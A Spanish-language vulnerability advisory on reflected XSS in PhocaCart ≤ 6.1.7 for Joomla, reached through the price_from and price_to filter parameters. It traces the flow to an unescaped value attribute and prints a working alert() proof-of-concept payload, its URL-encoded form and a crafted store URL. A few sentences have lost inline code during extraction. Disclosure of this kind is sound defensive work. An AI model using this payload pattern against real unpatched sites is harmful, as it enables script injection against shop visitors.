
XSS Reflejado a través de los parámetros de filtro price_from y price_to en PhocaCart
PhocaCart ≤ 6.1.7 — Un atacante no autenticado inyecta JavaScript arbitrario a través de una URL de filtro de precio manipulada
PhocaCart 6.1.7 para Joomla es vulnerable a Cross-Site Scripting Reflejado (XSS) a través de los parámetros GET price_from y price_to cuando el módulo mod_phocacart_filter está instalado y publicado. Los parámetros se procesan con el filtro de entrada 'string' de Joomla, que aplica únicamente strip_tags() — no aplica . Los valores sin procesar se vuelcan directamente en atributos HTML del formulario de filtro de precio generado por el módulo .
htmlspecialchars()value=""mod_phocacart_filterUn atacante entrega una URL manipulada a una víctima. Cuando la víctima carga la página, el manejador de eventos inyectado se ejecuta en su navegador. No se requiere autenticación. El ataque requiere que mod_phocacart_filter (un módulo distribuido por separado) esté instalado y publicado.
| COMPONENTE | VULNERABLE | PROBADO EN | CORREGIDO |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
Tipo: XSS Reflejado (CWE-79)
Autenticación requerida: Ninguna — frontend público de la tienda
Token CSRF requerido: No (petición GET)
Archivo sumidero: site/layouts/form_filter_horizontal_text.php:65,71
El filtro de entrada 'string' de Joomla llama a strip_tags() — elimina las etiquetas HTML pero deja sin codificar caracteres especiales HTML como \", ' y >. Los parámetros GET price_from y price_to se obtienen con este filtro y se almacenan en $data['getparams']. Los archivos de plantilla vuelcan estos valores directamente en atributos value="" sin llamar a htmlspecialchars(), lo que permite la inyección en el contexto de atributo.
Flujo de datos — de la fuente al sumidero:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — SUMIDERO VULNERABLE
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
El mismo patrón de sumidero también existe en form_filter_text.php:81,87 (variante de diseño vertical). Tanto price_from como price_to son igualmente vulnerables.
El atacante construye una URL dirigida a la vista de artículos de la tienda con un payload de manejador de eventos inyectado en el parámetro price_from. El payload sale del contexto del atributo value="".
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
Cuando la víctima abre la URL manipulada, la página de artículos de la tienda genera el formulario de filtro de precio. Los atributos inyectados están presentes en el elemento <input>. Con el payload autofocus onfocus, JavaScript se ejecuta inmediatamente al cargar la página sin necesidad de interacción adicional del usuario.
HTML generado (vulnerable):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

El XSS se ejecuta en el navegador de la víctima — alert(document.domain) confirma el contexto de ejecución en el frontend de la tienda